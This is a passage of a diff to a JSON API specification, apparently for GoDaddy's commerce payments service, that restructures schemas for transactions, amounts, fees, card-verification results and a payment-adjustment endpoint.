"https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", + "postalCodeResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", + "stateResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, "cvResult": { - "type": "string", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", "readOnly": true, - "description": "Approval code that can be used for reference" + "type": "string" }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "interacMacResult": { - "type": "string", + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "type": "string" }, - "emvTags": { + "scaResult": { + "description": "Strong customer authentication result", "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "maxLength": 256 + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "type": "array" + } + }, + "title": "Adjustments" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "adjustPayment", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments", + "summary": "Adjust Payment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "processorType": { - "type": "string" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "processorType" - ] + "title": "Tip Amount", + "type": "object" }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "amount", - "createdAt" - ] + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "amountType": { + "type": "string" } - } + }, + "title": "Amount", + "type": "object" }, - "readOnly": true, - "description": "Captures for the payment" - }, - "sales": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", + "description": "Payment Context details", "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "title": "Uuid", + "type": "string" }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - ], + }, + "title": "AVS Results", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "processorResponse": { + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvResult": { - "type": "string", + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ "MATCH", "NO_MATCH", + "PARTIAL_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true + "title": "Address Verification Status", + "type": "string" }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", 